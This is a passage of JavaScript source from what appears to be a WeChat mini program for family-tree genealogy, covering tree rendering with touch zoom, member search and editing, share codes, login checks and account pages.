_this.add_item(m_draw_obj);
}
//夫妻连线开始
var position_start = {
x: count_start * (_this.data.name_width + _this.data.space_width) + (_this.data.name_width / 2),
y: level * (_this.data.name_height + _this.data.space_height) + (_this.data.name_height / 2)
}
var position_end = {
x: m_count_start * (_this.data.name_width + _this.data.space_width) + (_this.data.name_width / 2),
y: level * (_this.data.name_height + _this.data.space_height) + (_this.data.name_height / 2)
}
_this.data.ctx.beginPath();
_this.data.ctx.moveTo(position_start.x, position_start.y);
_this.data.ctx.lineTo(position_end.x, position_end.y);
_this.data.ctx.closePath();
_this.data.ctx.stroke();
//夫妻连线结束
}
}
},
add_item: function (obj) {
var _this = this
var x = obj.count_start * (_this.data.name_width + _this.data.space_width) + _this.data.name_width / 2;
var y = obj.level * (_this.data.name_height + _this.data.space_height) + _this.data.name_height / 2;;
var member_css = extendObj([
{},
obj.sex ? (obj.sex == 1 ? (obj.sort == 1 ? _this.data.member_man_sort1_css : _this.data.member_man_css) : (obj.sex == 2 ? (obj.sort == 1 ? _this.data.member_female_sort1_css : _this.data.member_female_css) : _this.data.member_unknow_css)) : _this.data.member_base_css,
obj.isLiving ? {} : _this.data.member_died_css,
{ top: y, left: x },
obj.id == _this.data.userId ? _this.data.member_self_css : {}
])
var member_info = extendObj([{}, obj, { css: member_css }])
_this.setData({
member_list: _this.data.member_list.concat([member_info])
});
},
fixImage:function(){
var _this = this;
setTimeout(() => {
wx.canvasToTempFilePath({
canvasId: "jiapu_views",
fileType: "png",
success: (res) => {
let tempFilePath = res.tempFilePath;
//var fileManager = wx.getFileSystemManager();
_this.setData({
["jiapu_content_css.backgroundImagePath"]: tempFilePath,
});
console.log("画背景", tempFilePath)
_this.data.alert.hide()
}
}, _this);
}, 1000)
},
count_child: function (children, levels) {
var _this = this;
var t_count = 0;
levels = levels ? levels : 0;
if (!is_empty(children) && levels < _this.data.levels) {
var clen = children.length
for (var i = 0; i < clen; i++) {
var t_c = children[i]
if (!is_empty(t_c)) {
var now_count = 1 + (is_empty(t_c.partners) ? 0 : t_c.partners.length);
if (!is_empty(t_c.children)) {
var child_count = (levels < (_this.data.levels - 1) ? _this.count_child(t_c.children, levels + 1) : now_count);
t_count = t_count + (now_count > child_count?now_count:child_count);
} else {
t_count = t_count + now_count;
}
}
}
}
return t_count
},
moveStart: function (e) {
var _this = this
if (e.touches.length == 1) {
isonetouch = true
onetouch = {
x: e.touches[0].pageX,
y: e.touches[0].pageY
}
} else if (e.touches.length == 2) {
isonetouch = false
twotouch = {
x1: e.touches[0].pageX,
y1: e.touches[0].pageY,
x2: e.touches[1].pageX,
y2: e.touches[1].pageY
}
}
},
moveMove: function (e) {
var _this = this
if (!touchmoving) {
touchmoving = true;
setTimeout(() => { touchmoving = false }, 40)//节流算法,40毫秒响应一次移动,25帧标准
if (e.touches.length == 1 && isonetouch) {
var onePointDiffX = e.touches[0].pageX - onetouch.x
var onePointDiffY = e.touches[0].pageY - onetouch.y
var c_y = _this.data.jiapu_content_css.top;
var c_x = _this.data.jiapu_content_css.left;
var t_y = c_y + onePointDiffY;
var t_x = c_x + onePointDiffX;
_this.setData({
jiapu_content_css: extendObj([{}, _this.data.jiapu_content_css, {
top: t_y,
left: t_x
}])
})
onetouch = {
x: e.touches[0].pageX,
y: e.touches[0].pageY
}
} else if (e.touches.length == 2) {
var preTwoPoint = JSON.parse(JSON.stringify(twotouch))
twotouch = {
x1: e.touches[0].pageX,
y1: e.touches[0].pageY,
x2: e.touches[1].pageX,
y2: e.touches[1].pageY
}
// 计算距离,缩放
var preDistance = Math.sqrt(Math.pow((preTwoPoint.x1 - preTwoPoint.x2), 2) + Math.pow((preTwoPoint.y1 - preTwoPoint.y2), 2))
var curDistance = Math.sqrt(Math.pow((twotouch.x1 - twotouch.x2), 2) + Math.pow((twotouch.y1 - twotouch.y2), 2))
_this.setData({
scale: _this.data.scale * (curDistance / preDistance)
})
}
}
},
moveEnd: function (e) {
var _this = this
isonetouch = false
},
showChangeLevels: function () {
var _this = this;
_this.setData({
showChangeLevels: _this.data.showChangeLevels ? false : true
})
},
changeLevels: function (e) {
var _this = this;
var levels = parseInt(e.currentTarget.dataset.levels);
if ((levels == 3 || levels == 5) && levels != _this.data.levels) {
_this.setData({
levels: levels,
showChangeLevels: false
})
_this.init()
} else {
_this.setData({
showChangeLevels: false
})
}
},
showSearchForm: function () {
this.setData({
search_form: {
fullname: "",
namezi: "",
fname: "",
mname: ""
},
showsearch: true
})
},
closeSearchForm: function () {
this.setData({
showsearch: false
})
},
searchSubmit: function () {
var _this = this
var search_form = _this.data.search_form
if (!is_empty(search_form.fullname) || !is_empty(search_form.namezi) || !is_empty(search_form.fname) || !is_empty(search_form.mname)){
doPost("/wx/familyMember/getFamilyMemberByCondition", {
inmap: {
type: _this.data.showtype,
operatorId: _this.data.showtype == "share" ? "" :app.globalData.userInfo.userid,
shareId: _this.data.shareid,
openId: app.globalData.userInfo.openid,
localFamilyMemberId: _this.data.showtype == "share" ? _this.data.sharestart : "",
shareCode: _this.data.sharecode,
familyId: _this.data.familyid,
firstName: search_form.namezi,
name: search_form.fullname,
fatherName: search_form.fname,
motherName: search_form.mname,
}
}, function (res) {
if(res.code==0){
if (is_empty(res.data.members)) {
wx.showToast({
title: '没有找到结果',
icon: 'none',
duration: 2000
})
} else {
_this.closeSearchForm()
if (res.data.members.length==1){
var member = res.data.members[0]
_this.init({ userId: member.id})
} else {
_this.showSearchList(res.data.members)
}
}
} else {
_this.closeSearchForm()
wx.showToast({
title: res.msg,
icon: 'none',
duration: 2000
})
}
})
}
},
showSearchList: function (list) {
var _this = this;
if(!is_empty(list)){
_this.setData({
searchlist:list,
showsearchlist:true,
})
}
},
closeSearchList: function () {
var _this = this;
_this.setData({
searchlist: [],
showsearchlist: false,
})
},
choseResult: function (e) {
var _this = this;
var idx = e.currentTarget.dataset.id;
var member = _this.data.searchlist[idx]
if (member) {
_this.closeSearchList();
_this.init({ userId: member.id })
}
},
handleLongTap: function (e) {
var _this = this;
var idx = e.currentTarget.dataset.id;
var member = _this.data.member_list[idx]
console.log(member)
console.log('handleLongTap')
if(_this.data.longtap instanceof Function){
_this.data.longtap(member)
}
},
showEdit:function(member){
var _this = this;
var btns = [];
if (member.isUpdate) {
btns.push({ name: "编辑", tap: "editMember", icon: config.baseOss + '/attachment/images/editjiapu_edit_icon.png' })
}
if (member.isSave) {
btns.push({ name: "添加", tap: "addMember", icon: config.baseOss + '/attachment/images/editjiapu_add_icon.png' })
}
if (member.isShare) {
btns.push({ name: "分享", tap: "shareMember", icon: config.baseOss + '/attachment/images/editjiapu_share_icon.png' })
}
btns.push({ name: "查看", tap: "viewMember", icon: config.baseOss + '/attachment/images/editjiapu_view_icon.png' })
if (member.isDele) {
btns.push({ name: "删除", tap: "delMember", icon: config.baseOss + '/attachment/images/editjiapu_del_icon.png' })
}
if (btns.length > 1) {
var r = btns.length * _this.data.name_height * 0.75 + _this.data.name_height
_this.setData({
editinfo: {
member: member,
btns: btns,
left: member.css.left,
top: member.css.top - r
},
showop: true
})
} else {
_this.data.editinfo.member = member
_this.setData({
showop: false
})
_this.viewMember()
}
},
hideEdit: function () {
var _this = this;
_this.setData({
editinfo: {
member: null,
btns: [],
left: 0,
top: 0
},
showop: false
})
},
editMember: function () {
var _this = this;
if(_this.data.edittap instanceof Function){
_this.data.edittap(_this.data.editinfo.member)
}
},
viewMember: function () {
var _this = this;
if(_this.data.viewtap instanceof Function){
_this.data.viewtap(_this.data.editinfo.member)
}
},
addMember: function () {
var _this = this;
_this.setData({
showAddMember: true,
showop: false
});
},
closeAddForm: function () {
var _this = this;
_this.setData({
showAddMember:false
});
},
addMemberByType: function (e) {
var _this = this;
var type = e.currentTarget.dataset.type
if (type) {
if(_this.data.addtap instanceof Function){
_this.data.addtap(_this.data.editinfo.member,type)
}
}
},
delMember: function () {
var _this = this;
if(_this.data.deltap instanceof Function){
_this.data.deltap(_this.data.editinfo.member)
}
},
shareMember: function () {
var _this = this;
if(_this.data.sharetap instanceof Function){
_this.data.sharetap(_this.data.editinfo.member)
}
},
handleClick: function (e) {
var _this = this;
var idx = e.currentTarget.dataset.id;
_this.data.click_count = _this.data.click_count + 1
if (_this.data.dbclick_timeout) {
clearTimeout(_this.data.dbclick_timeout)
_this.data.dbclick_timeout = null
}
_this.data.dbclick_timeout = setTimeout(function () {
var member = _this.data.member_list[idx]
if (_this.data.click_count > 1) {
if(_this.data.dbtap instanceof Function){
_this.data.dbtap(member)
}
} else {
if(_this.data.tap instanceof Function){
_this.data.tap(member)
}
}
_this.data.click_count = 0
}, 500);
},
showDetailInfo: function (obj) {
var _this = this;
if(!is_empty(obj) &&!is_empty(obj.id)){
doPost("/wx/familyMember/getFamilyMember", { "inmap": {
"familyMemberId": obj.id,
"familyId": _this.data.familyid,
"operatorId": _this.data.showtype == "share" ? "" :app.globalData.userInfo.userid,
"type": _this.data.showtype,
"shareId": _this.data.shareid,
"openId": app.globalData.userInfo.openid,
"shareCode": _this.data.sharecode,
}},function(res){
if(res.code==0){
var member = res.data.member;
_this.setData({
detailinfo: {
isLiving: member.isLiving,
originAreaDetails: member.originAreaDetails ? member.originAreaDetails : '',
gender: member.gender,
name: member.firstname + member.lastname,
birthTime: member.birthTime?member.birthTime:'',
deathTime: member.deathTime?member.deathTime:'',
age: member.age?member.age:'',
fatherName: member.father?(member.father.firstname + member.father.lastname):'',
motherName: member.mother?(member.mother.firstname + member.mother.lastname):'',
description:member.description?member.description:'未填写...',
},
showdetail: true
})
}else{
wx.showToast({
title: res.msg,
icon: 'none',
duration: 2000
})
}
})
}
},
closeDetailInfo: function () {
this.setData({
showdetail: false
})
},
inputgetName(e) {
var name = e.currentTarget.dataset.name;
var nameMap = {}
if (name.indexOf('.')) {
var nameList = name.split('.')
if (this.data[nameList[0]]) {
nameMap[nameList[0]] = this.data[nameList[0]]
} else {
nameMap[nameList[0]] = {}
}
nameMap[nameList[0]][nameList[1]] = e.detail.value
} else {
nameMap[name] = e.detail.value
}
this.setData(nameMap)
}
}
})
<file_sep>// pages/share/share.js
import {
extendObj, is_empty, is_number, doPost, copy_code
} from "../../utils/util.js"
const config = require("../../config.js")
const app = getApp()
var commonMixin = require('../../utils/commonMixin.js')
Page(Object.assign({
/**
* 页面的初始数据
*/
data: {
baseOss: config.baseOss,
sharelist:[],
search_form:{
keywords:"",
},
page:1,
is_ok:false
},
/**
* 生命周期函数--监听页面加载
*/
onLoad: function (options) {
var _this = this
if (is_empty(app.globalData.userInfo.userid)) {
wx.redirectTo({
url: '../login/login'
})
};
//获取手机屏幕高度
wx.getSystemInfo({
success: function (res) {
console.log(res)
let clientHeight = res.windowHeight;
let clientWidth = res.windowWidth;
let ratio = 375 / clientWidth;
let height = clientHeight * ratio;
_this.setData({
height: height-140
});
}
});
_this.share_list();
},
// 数据
share_list: function () {
var _this = this
doPost('/wx/familyMemberShare/dataList', {
"inmap": {
"createUserId": app.globalData.userInfo.userid,
"startMemberName":'',
"pageNum": _this.data.page, //页码
}
}, function (res) {
_this.setData({
sharelist: res.data
});
})
},
//获取搜索内容
input:function(e){
let _this = this;
_this.setData({
startMemberName: e.detail.value
});
},
//点击搜索
searchShare:function(){
let _this = this;
doPost('/wx/familyMemberShare/dataList', {
"inmap": {
"createUserId": app.globalData.userInfo.userid,
"startMemberName": _this.data.startMemberName,
"pageNum": 1, //页码
}
}, function (res) {
_this.setData({
sharelist: res.data
});
})
},
copy_code: function (e) {
let _this = this;
var code = e.currentTarget.dataset.code
copy_code(code);
},
//重置提取码
resetToken: function (e) {
var _this = this;
var idx = parseInt(e.currentTarget.dataset.id);
var shareItem = _this.data.sharelist.list[idx]
wx.showModal({
title: '提示',
content: '是否要重置提取码',
success: function (res) {
if (res.confirm){
if (shareItem) {
doPost('/wx/familyMemberShare/resetShareCode', {
"inmap": {
"id": shareItem.id,
"createUserId": app.globalData.userInfo.userid,
}
}, function (res) {
console.log(res);
if (res.code == 0) {
wx.showToast({
title: '重置成功',
icon: 'success',
duration: 2000
});
_this.share_list();
} else {
}
})
}
} else if (res.cancel){
}
}
})
},
//取消
cancelShare: function (e) {
var _this = this;
var idx = parseInt(e.currentTarget.dataset.id);
var shareItem = _this.data.sharelist.list[idx]
wx.showModal({
title: '提示',
content: '是否删除',
success:function(res){
if (res.confirm) {
if (shareItem) {
doPost('/wx/familyMemberShare/cancelShare', {
"inmap": {
"id": shareItem.id,
"createUserId": app.globalData.userInfo.userid,
}
}, function (res) {
console.log(res);
if (res.code == 0) {
wx.showToast({
title: '取消成功',
icon: 'success',
duration: 2000
});
_this.share_list();
} else {
}
})
}
} else if (res.cancel) {
}
}
})
},
//分享
shareShare: function (e) {
var _this = this;
var idx = parseInt(e.currentTarget.dataset.id);
var shareItem = _this.data.sharelist.list[idx];
wx.navigateTo({
url: '../initiate_sharing/initiate_sharing?is_share=1&startMemberId=' + shareItem.startMemberId + '&familyId=' + shareItem.familyId,
})
},
//上拉加载
bindscrolltolower:function(e){
let _this = this;
let page = _this.data.page;
page++;
_this.setData({is_ok:true})
doPost('/wx/familyMemberShare/dataList', {
"inmap": {
"createUserId": app.globalData.userInfo.userid,
"startMemberName": _this.data.startMemberName,
"pageNum": _this.data.page, //页码
}
}, function (res) {
_this.setData({
sharelist: res.data,
page: page,
is_ok: false
});
})
},
/**
* 生命周期函数--监听页面初次渲染完成
*/
onReady: function () {
},
/**
* 生命周期函数--监听页面显示
*/
onShow: function () {
},
/**
* 生命周期函数--监听页面隐藏
*/
onHide: function () {
},
/**
* 生命周期函数--监听页面卸载
*/
onUnload: function () {
},
/**
* 页面相关事件处理函数--监听用户下拉动作
*/
onPullDownRefresh: function () {
},
/**
* 页面上拉触底事件的处理函数
*/
onReachBottom: function () {
},
/**
* 用户点击右上角分享
*/
//onShareAppMessage: function () {
//}
}, commonMixin))<file_sep>//给页面/组件扩展一些公共方法,以增强代码复用
//在页面扩展:Page(Object.assign({...},commonMixin)),在组件扩展methods:Object.assign({...},commonMixin)
import {
extendObj, is_empty, doPost
} from "./util.js"
const config = require("../config.js")
const app = getApp()
const getCheckBoxValue=(_d,_s)=>{
if (typeof (_d) == "object") {
var clen = _d.length;
for (var i = 0; i < clen; i++) {
var vlen = _s.length
var checked = false;
for (var j = 0; j < vlen; j++) {
if (typeof (_d[i]["value"]) != "undefined" && _d[i].value == _s[j]) {
checked = true;
break;
}
}
if (typeof (_d[i]["checked"]) != "undefined") {
_d[i].checked = checked;
}
}
}
}
module.exports = {
test(e){
console.log(e.currentTarget);
},
alertBuild(){
wx.showToast({
title: '此功能正在建设中',
icon: 'success',
duration: 2000
})
},
//使用方法,在必要的地方加上 bindtap="authRun" data-authed="funcAuthed" data-auth="funcAuth"
//funcAuthed,权限判断成功后执行的函数
//funcAuth,权限判断函数,传入参数有funcName、func_callback,权限判定成功后执行func_callback(true),只有在回调函数参数为true才执行指定的权限成功函数
authRun(e) {
var _this = this;
var func = e.currentTarget.dataset.authed;
var auth = e.currentTarget.dataset.auth;
if (_this[auth] instanceof Function) {
_this[auth](func,function (result) {
if (result) {
if (_this[func] instanceof Function) {
_this[func](e);
} else {
console.log("authRun_error", func + " is not a function.")
}
}
});
}
},
//检查权限配合authRun函数的基本格式funcCheck(funcName,func_callback),可以做为样例
checkUser(funcName,func_callback) {
if (is_empty(app.globalData.userInfo.userid)) {
wx.showModal({
title: '提示',
confirmText: "登录",
confirmColor: "#ebb450",
content: '需要登录才能进行操作,立即登录?',
success(res) {
if (res.confirm) {
wx.redirectTo({
url: '../login/login'
})
}
}
})
} else {
if (func_callback instanceof Function) {
func_callback(true);
}
}
},
doNav: function (e) {
var url = e.currentTarget.dataset.url;
if (!is_empty(url)) {
wx.navigateTo({
url: url,
})
}
},
changeNumber(e) {
var name = e.currentTarget.dataset.name;
var type = e.currentTarget.dataset.type;
var nameMap = {}
var tval = 1
if (name.indexOf('.')) {
var nameList = name.split('.')
if (this.data[nameList[0]]) {
nameMap[nameList[0]] = this.data[nameList[0]]
tval = this.data[nameList[0]][nameList[1]] ? parseInt(this.data[nameList[0]][nameList[1]]):0;
} else {
nameMap[nameList[0]] = {}
}
if (type == "sub") {
if (nameMap[nameList[0]][nameList[1]]>1){
nameMap[nameList[0]][nameList[1]] = tval - 1
}
} else if (type == "add") {
nameMap[nameList[0]][nameList[1]] = tval + 1
}
} else {
tval = this.data[name] ? parseInt(this.data[name]) : 0;
if (type == "sub") {
nameMap[name] = tval - 1
} else if (type == "add") {
nameMap[name] = tval + 1
}
}
this.setData(nameMap)
},
inputgetName(e) {
var name = e.currentTarget.dataset.name;
var type = e.currentTarget.dataset.type ? e.currentTarget.dataset.type+"":"input";
var nameMap = {}
var currentMap = null;
type = type.toLowerCase();
if (name.indexOf('.')) {
var nameList = name.split('.')
if (this.data[nameList[0]]) {
nameMap[nameList[0]] = this.data[nameList[0]]
} else {
nameMap[nameList[0]] = {}
}
switch (type) {
case "input":
nameMap[nameList[0]][nameList[1]] = e.detail.value
break;
case "checkbox":
getCheckBoxValue(nameMap[nameList[0]][nameList[1]], e.detail.value)
break;
default:
break;
}
} else {
switch (type) {
case "input":
nameMap[name] = e.detail.value
break;
case "checkbox":
getCheckBoxValue(nameMap[name], e.detail.value)
break;
default:
break;
}
}
this.setData(nameMap)
}
}<file_sep>import {
extendObj,is_empty
} from "../../utils/util.js"
const config = require("../../config.js")
var commonMixin = require('../../utils/commonMixin.js')
//index.js
//获取应用实例
const app = getApp()
Page(Object.assign({
data: {
baseOss: config.baseOss,
userInfo: {},
text:[]
},
onLoad: function () {
var _this = this;
_this.selectComponent("#nav-bar").active("me")
//if (is_empty(app.globalData.userInfo.userid)) {
// wx.redirectTo({
// url: '../login/login'
// })
//}
},
onShow: function(){
var _this = this;
_this.setData({
userInfo:app.globalData.userInfo
})
if (is_empty(app.globalData.userInfo.userid)) {
_this.setData({
userInfo: extendObj([{},_this.data.userInfo,{account:"游客"}])
})
}
},
noAvatar:function(){
var _this = this;
_this.setData({
["userInfo.avatarUrl"]: config.baseOss + "/attachment/images/avatar-none.png"
})
app.globalData.userInfo.avatarUrl = config.baseOss + "/attachment/images/avatar-none.png"
},
logout:function(){
app.globalData.userInfo.userid = "";
app.globalData.userInfo.account = "";
app.globalData.userInfo.mobile = "";
app.globalData.userInfo.nickName = "";
//app.globalData.userInfo.avatarUrl = "";
wx.redirectTo({
url: '../login/login'
})
}
}, commonMixin))<file_sep>// pages/welcome/welcome.js
import {
extendObj,is_empty
} from "../../utils/util.js"
const computedBehavior = require('miniprogram-computed')
const app = getApp()
const config = require("../../config.js")
Page({
behaviors: [computedBehavior],
/**
* 页面的初始数据
*/
data: {
userInfo: null,
hasUserInfo: false,
punchList: [{
"bannerUrl": config.baseOss + "/attachment/images/welcome_bg.jpg",
}],
current: 0
},
computed: {
goUrl: (data)=>{
//return (data.hasUserInfo && data.userInfo.userid) > 0 ? "../index/index" : "../login/login"
return "../home/home"
}
},
/**
* 生命周期函数--监听页面加载
*/
onLoad: function () {
//wx.navigateTo({
// url: '../circle/circle'
//})
//return false;
var _this = this;
var alert = _this.selectComponent("#alert")
if (!is_empty(app.globalData.userInfo.userid)) {
wx.redirectTo({
url: '../home/home',
})
} else {
_this.setData({
userInfo: app.globalData.userInfo,
hasUserInfo: true
})
app.userInfoReadyCallback = res => {
if (!is_empty(res.data) && !is_empty(res.data.openId)) {
app.globalData.userInfo.openid = res.data.openId;
if (res.code == 0) {
var ulen = res.data.user.length
if (ulen == 1) {
var userinfo = extendObj([{}, userinfo, res.data.user[0]]);
app.globalData.userInfo = extendObj([{}, app.globalData.userInfo, {
userid: userinfo.id,
familyid:userinfo.familyId,
nickName: userinfo.name ? userinfo.name : app.globalData.userInfo.nickName,
account: userinfo.account,
mobile: userinfo.mobile,
avatarUrl: userinfo.headImg ? userinfo.headImg : app.globalData.userInfo.avatarUrl,
childOrder: userinfo.childOrder ? userinfo.childOrder : '',
}])
wx.redirectTo({
url: "../home/home",
})
}else{
var list = [];
for (var i = 0; i < ulen; i++) {
var userinfo = res.data.user[i];
list.push({
id: userinfo.id,
name: userinfo.name,
data: userinfo
})
}
alert.list({
data: list,
callback: function (obj) {
app.globalData.userInfo = extendObj([{}, app.globalData.userInfo, {
userid: obj.data.id,
familyid:obj.data.familyId,
nickName: obj.data.name ? obj.data.name : app.globalData.userInfo.nickName,
account: obj.data.account,
mobile: obj.data.mobile,
avatarUrl: obj.data.headImg ? obj.data.headImg : (app.globalData.userInfo.avatarUrl ? app.globalData.userInfo.avatarUrl : config.baseOss + "/attachment/images/avatar-none.png"),
}])
wx.redirectTo({
url: "../home/home"
})
}
})
}
} else {
wx.redirectTo({
url: "../home/home"
})
}
_this.setData({
userInfo: extendObj([{}, _this.userInfo, app.globalData.userInfo]),
hasUserInfo: true
})
}
}
}
},
currentHandle: function(e) {
let {
current
} = e.detail
this.setData({
current
})
},
enterApp: function () {
var _this = this;
var goUrl = _this.data.goUrl;
wx.redirectTo({
url: goUrl,
})
},
/**
* 生命周期函数--监听页面初次渲染完成
*/
onReady: function () {
},
/**
* 生命周期函数--监听页面显示
*/
onShow: function () {
},
/**
* 生命周期函数--监听页面隐藏
*/
onHide: function () {
},
/**
* 生命周期函数--监听页面卸载
*/
onUnload: function () {
},
/**
* 页面相关事件处理函数--监听用户下拉动作
*/
onPullDownRefresh: function () {
},
/**
* 页面上拉触底事件的处理函数
*/
onReachBottom: function () {
},
/**
* 用户点击右上角分享
*/
//onShareAppMessage: function () {
//}
})<file_sep>// pages/accountinfo/accountinfo.js
import {
extendObj, is_empty, is_number,doPost
} from "../../utils/util.js"
const config = require("../../config.js")
const app = getApp()
var commonMixin = require('../../utils/commonMixin.js')
Page(Object.assign({
/**
* 页面的初始数据
*/
data: {
accountinfo:{
name:"",
mobile:"",
birthday:"",
sex:"",
email:"",
}
},
/**
* 生命周期函数--监听页面加载
*/
onLoad: function (options) {
var _this = this
if (is_empty(app.globalData.userInfo.userid)) {
wx.redirectTo({
url: '../login/login'
})
}
},
/**
* 生命周期函数--监听页面初次渲染完成
*/
onReady: function () {
},
/**
* 生命周期函数--监听页面显示
*/
onShow: function () {
var _this = this
doPost('/user/getAccountDetail', { "inmap": { "id": app.globalData.userInfo.userid } }, function (res) {
if (res.code == 0) {
_this.setData({
accountinfo: {
nickName: res.data.fullName ? res.data.fullName :app.globalData.userInfo.nickName,
account: res.data.account ? res.data.account :app.globalData.userInfo.account,
mobile: res.data.mobile ? res.data.mobile :app.globalData.userInfo.mobile,
familyid: res.data.familyId ? res.data.familyId :app.globalData.userInfo.familyid,
childOrder: res.data.childOrder ? res.data.childOrder :app.globalData.userInfo.childOrder,
}
})
} else {
_this.setData({
accountinfo: {
nickName: app.globalData.userInfo.nickName ? app.globalData.userInfo.nickName : '',
account: app.globalData.userInfo.account ? app.globalData.userInfo.account : '',
mobile: app.globalData.userInfo.mobile ? app.globalData.userInfo.mobile : '',
familyid: app.globalData.userInfo.familyid ? app.globalData.userInfo.familyid : '',
childOrder: app.globalData.userInfo.childOrder ? app.globalData.userInfo.childOrder : '',
}
})
}
})
},
/**
* 生命周期函数--监听页面隐藏
*/
onHide: function () {
},
/**
* 生命周期函数--监听页面卸载
*/
onUnload: function () {
},
/**
* 页面相关事件处理函数--监听用户下拉动作
*/
onPullDownRefresh: function () {
},
/**
* 页面上拉触底事件的处理函数
*/
onReachBottom: function () {
},
/**
* 用户点击右上角分享
*/
//onShareAppMessage: function () {
//}
}, commonMixin))<file_sep>// pages/initiate_sharing/initiate_sharing.js
import {
extendObj, is_empty, is_number, doPost, sharePage, copy_code
} from "../../utils/util.js"
const config = require("../../config.js")
const app = getApp()
var commonMixin = require('../../utils/commonMixin.js')
Page({
/**
* 页面的初始数据
*/
data: {
baseOss: config.baseOss,
shareCode: ''
},
/**
* 生命周期函数--监听页面加载
*/
onLoad: function (options) {
console.log(options);
// 数据
var _this = this
let is_share = options.is_share || 0;
let shareId = options.shareId || null;
if (is_share == 1) { //判断是分享列表页进入
_this.setData({ is_share: true })
}
_this.setData({
shareId: shareId
})
doPost('/wx/familyMemberShare/shareInfo', {
"inmap": {
"startMemberId": options.startMemberId,
"createUserId": app.globalData.userInfo.userid,
'familyId': options.familyId,
"id":shareId
}
}, function (res) {
if(res.code==0){
let desc = res.data.desc;
let desc2 = desc.slice(0, 12) + '\n' + desc.slice(12); //向第十二个字加换行符
_this.setData({
shareInfo: res.data,
shareCode: res.data.shareCode,
desc2:desc2,
startMemberId: options.startMemberId,
});
}
})
},
//复制提取码
copy_code: function () {
let _this = this;
copy_code(_this.data.shareCode);
},
/**
* 生命周期函数--监听页面初次渲染完成
*/
onReady: function () {
},
/**
* 生命周期函数--监听页面显示
*/
onShow: function () {
},
/**
* 生命周期函数--监听页面隐藏
*/
onHide: function () {
},
/**
* 生命周期函数--监听页面卸载
*/
onUnload: function () {
},
/**
* 页面相关事件处理函数--监听用户下拉动作
*/
onPullDownRefresh: function () {
},
/**
* 页面上拉触底事件的处理函数
*/
onReachBottom: function () {
},
/**
* 用户点击右上角分享
*/
onShareAppMessage: function () {
// return sharePage(this.data.shareInfo.desc, this.data.shareInfo.id)
return{
title: this.data.desc2,
imageUrl: "https://miniprogram.mmxp5000.com/attachment/images/share_image.png",
path: "/pages/extraction_code/extraction_code?id=" + this.data.shareInfo.id + '&startMemberId=' + this.data.startMemberId,
}
}
})<file_sep>// pages/editjiapu/editjiapu.js
import {
extendObj, is_empty, is_number,doPost
} from "../../utils/util.js"
const config = require("../../config.js")
const app = getApp()
var commonMixin = require('../../utils/commonMixin.js')
Page(Object.assign({
/**
* 页面的初始数据
*/
data: {
treejiapu:null,
circlejiapu:null,
frameID:"tree",
treeUserId:"",
circleUserId:"",
backBtn:true,
familyId:0,
initFlag:{
tree:false,
circle:false,
table:false,
},
member_data: null,
showFull: false,
showop: false,
showAddMember:false,
showEditMember:false,
showsearch: false,
showsearchlist: false,
search_form: {
fullname: "",
namezi: "",
fname: "",
mname: ""
},
searchlist:[],
baseOss: config.baseOss,
editinfo:{
member:null,//当前点击的人
editform:null,//编辑对象,编辑对象可能是点击的人
left:0,
top:0
},
ctx: null,
fullwidth:0,
fullheight:0,
zoomwidth:0,
zoomheight:0,
width: 0,
height: 0,
member_list: [],
userInfo: {},
showtype: "edit",
userId: "",
shareid: "",
sharecode: "",
},
/**
* 生命周期函数--监听页面加载
*/
onLoad: function (options) {
var _this = this
_this.data.treejiapu = _this.selectComponent("#treejiapu")
_this.data.circlejiapu = _this.selectComponent("#circlejiapu")
if (is_empty(app.globalData.userInfo.userid) && (!is_empty(options.showType) && options.showType!='share')) {
wx.redirectTo({
url: '../login/login'
})
} else {
_this.data.userInfo = app.globalData.userInfo
_this.data.userId = app.globalData.userInfo.userid
_this.data.treeUserId = app.globalData.userInfo.userid
_this.data.circleUserId = app.globalData.userInfo.userid
_this.data.familyId = app.globalData.userInfo.familyid
if (!is_empty(options.showType)) {
_this.data.showtype = options.showType
if (options.showType=="share"){
_this.setData({
backBtn:false
})
}
}
if (!is_empty(options.shareId) && is_number(options.shareId)) {
_this.data.shareid = parseInt(options.shareId);
}
if (!is_empty(options.shareCode)) {
_this.data.sharecode = options.shareCode
}
if (!is_empty(options.userId)) {
_this.data.treeUserId = options.userId
_this.data.circleUserId = options.userId
_this.data.userId = options.userId
}
if (!is_empty(options.familyId) && is_number(options.familyId)) {
_this.data.familyId = parseInt(options.familyId);
}
}
var w_w = wx.getSystemInfoSync().windowHeight
var w_h = wx.getSystemInfoSync().windowWidth
var query = wx.createSelectorQuery().in(_this)
query.select('#frame_content').boundingClientRect((res) => {
var c_w = res.width;
var c_h = res.height;
_this.data.fullheight = w_h - 25
_this.data.fullwidth = w_w
_this.data.zoomheight = c_h - 1
_this.data.zoomwidth = c_w
_this.data.height = c_h - 1
_this.data.width = c_w
}).exec();
},
changeFrame:function(e){
var _this = this;
var id = e.currentTarget.dataset.id;
if (id && typeof (_this.data.initFlag[id]) != 'undefined') {
_this.setData({
frameID: id
},function(){
if (!_this.data.initFlag[id]) {
_this.init(id)
}
})
}
},
changeFull: function () {
var _this = this;
_this.setData({
showFull: _this.data.showFull?false:true
})
},
backSelf:function(){
var _this = this
if (_this.data.frameID == "tree") {
_this.data.treeUserId = _this.data.userId
} else if (_this.data.frameID == "circle") {
_this.data.circleUserId = _this.data.userId
}
_this.init(_this.data.frameID)
},
showSearchForm: function () {
var _this = this
if(_this.data.frameID == "tree"){
_this.data.treejiapu.showSearchForm()
}else if(_this.data.frameID == "circle"){
_this.data.circlejiapu.showSearchForm()
}
},
init:function(id){
var _this = this
//var dataset = "initFlag."+id
if(id=="tree"){
_this.data.treejiapu.init({
userId: _this.data.treeUserId,
familyid:_this.data.familyId,
name_width: 80,
name_height: 20,
name_fontsize: 12,
space_width: 20,
space_height: 30,
line_width:1,
line_color:"#7e5a44",
levels: 5,
levelBtn:false,
searchBtn:false,
backBtn:false,
sharestart: _this.data.userId,
showtype: _this.data.showtype,
shareid: _this.data.shareid,
sharecode: _this.data.sharecode,
left:_this.data.width/2,
top:_this.data.height/2,
tap:function(member){
_this.data.treejiapu.showEdit(member)
},
dbtap: function (member) {
_this.data.treejiapu.init({ userId: member.id })
},
longtap:function(member){},
edittap: function (member) {
_this.editMember(member)
_this.data.treejiapu.hideEdit()
},
viewtap:function(member){
_this.data.treejiapu.showDetailInfo(member)
_this.data.treejiapu.hideEdit()
//_this.viewMember(member)
},
addtap: function (member, type) {
_this.addMemberByType(member, type)
_this.data.treejiapu.closeAddForm()
_this.data.treejiapu.hideEdit()
},
deltap: function (member) {
_this.delMember(member)
_this.data.treejiapu.hideEdit()
},
sharetap: function (member) {
_this.data.treejiapu.hideEdit()
